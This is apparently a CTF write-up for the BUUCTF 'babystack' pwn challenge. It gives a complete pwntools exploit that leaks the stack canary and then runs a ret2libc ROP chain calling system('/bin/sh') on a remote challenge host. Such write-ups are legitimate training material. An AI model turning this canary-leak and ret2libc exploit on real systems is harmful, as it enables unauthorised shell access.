思路:

通过覆盖canary的截断字符"\x00",从而连带打印出canary

而后就是简单的ret2libc了

exp:

from pwn import *
p = remote("node4.buuoj.cn",26363)elf = ELF("./babystack")
context.log_level  ="debug"
libc = ELF("./libc-2.23.so")
# libc = elf.libc
p.timeout = 0.2
def dbg():gdb.attach(p)pause()
pop_rdi = 0x400a93
ret = 0x40067e
puts_plt = 0x400690
puts_got = elf.got["puts"]
main = 0x400908str = "a"*(0x89)
p.recvuntil(">>")
p.sendline("1")
p.send(str)
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("a"*0x88)
canary =  u64(p.recv(8))-0x61
log.success("canary:" +hex(canary))
p.recvuntil(">>")
p.sendline("1")
p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) +  p64(puts_got) + p64(puts_plt) + p64(main))
p.sendlineafter(">>",'3')
p.recv()
addr = u64(p.recv(6).ljust(8,'\x00'))libc_base = addr - 0x06f6a0
sys = libc_base + 0x0453a0
sh = libc_base + 0x18ce57
log.success("addr:" + hex(addr))p.recvuntil(">>")
p.sendline("1")
p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) +  p64(sh) + p64(sys) )p.sendlineafter(">>",'3')
p.interactive()

BUUCTF others babystack相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  3. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  4. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  5. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  6. BUUCTF Quoted-printable编码

    Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...

  7. BUUCTF NewStarCTF一些新知识记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...

  8. buuctf Mark loves cat

    buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...

  9. BUUCTF·[MRCTF2020]天干地支+甲子·WP

    题目来源 BUUCTF在线评测 (buuoj.cn) 附件 得到得字符串用MRCTF{}包裹 一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 ...

最新文章

  1. IBM Watson 的中国生意
  2. 001-引入layui和layui.code方法
  3. python源码编译 带tkinter_python通过Tkinter库实现的一个简单的文本编辑器源码
  4. keepalived(8)——http、tcp检测
  5. 秦汉考场科目三路线图_我在青竹湖考场考科三的一些分享
  6. oracle0数据库论文总结,大学oracle数据库总结(考试必备)
  7. 用于计算的计算机主机,一种用于区块链计算的计算机主机的制作方法
  8. java版本的getorcreate,getOrCreate for java-rest-api neo4j失敗
  9. JS日期格式化(从YYYY-MM-DD到日期类)
  10. filereader php,AJAX_File, FileReader 和 Ajax 文件上传实例分析(php),File FileReader 可以干什么? Ajax...
  11. 测试管理工具QC第一篇-QC安装步骤(史上最详细的图解过程)-第一篇
  12. 【工程项目经验】Compile Android Error fatal error opening dependency file No such file or directory
  13. flAbsPath on /var/lib/dpkg/status failed 解决 Cydia 红字
  14. 955 公司白名单来了!
  15. 关于使用 MediaPlayer.setLooping(true) 设置循环播放
  16. php notice undefined offset,PHP 使用数组 疯狂提示 Notice: Undefined offset
  17. Elasticsearch 7.3.0 翻译 - 《Aggregations》 度量聚合 百分位数聚合
  18. php实现aes ecb模式加密,PHP、Python、Java的AES ECB加密实现-Fun言
  19. 成为一名CV(计算机视觉)工程师,你需要具备哪些能力?
  20. 全面剖析E-mail收发失败的原因

热门文章

  1. 大屏地图背景透明效果,高德地图怎么才能只渲染局部地图,有全部代码详细。
  2. cesium中级(一)使用渐变纹理
  3. networkx的安装及简单用法
  4. 银行使用计算机和网络实现个人存款,观察值与算术平均数的差数称为离均差,其总和为( )。...
  5. jQuery国际化i18n--中文、英文、中文繁体
  6. 状态空间方程的能控性与能观性判断
  7. FIPS 140-3与140-2的差异-1
  8. R语言统计入门第六章——回归与相关性
  9. 我司工程师荣获2020年度网络安全等级保护测评体系建设工作表现突出个人
  10. 我对社交电商的了解与看法